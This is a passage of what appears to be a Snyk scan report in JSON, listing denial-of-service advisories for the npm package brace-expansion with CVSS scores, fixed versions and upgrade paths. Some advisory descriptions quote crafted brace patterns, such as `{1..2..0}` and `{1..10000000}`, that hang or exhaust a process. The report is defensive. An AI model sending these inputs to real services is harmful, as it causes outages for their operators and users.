Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", 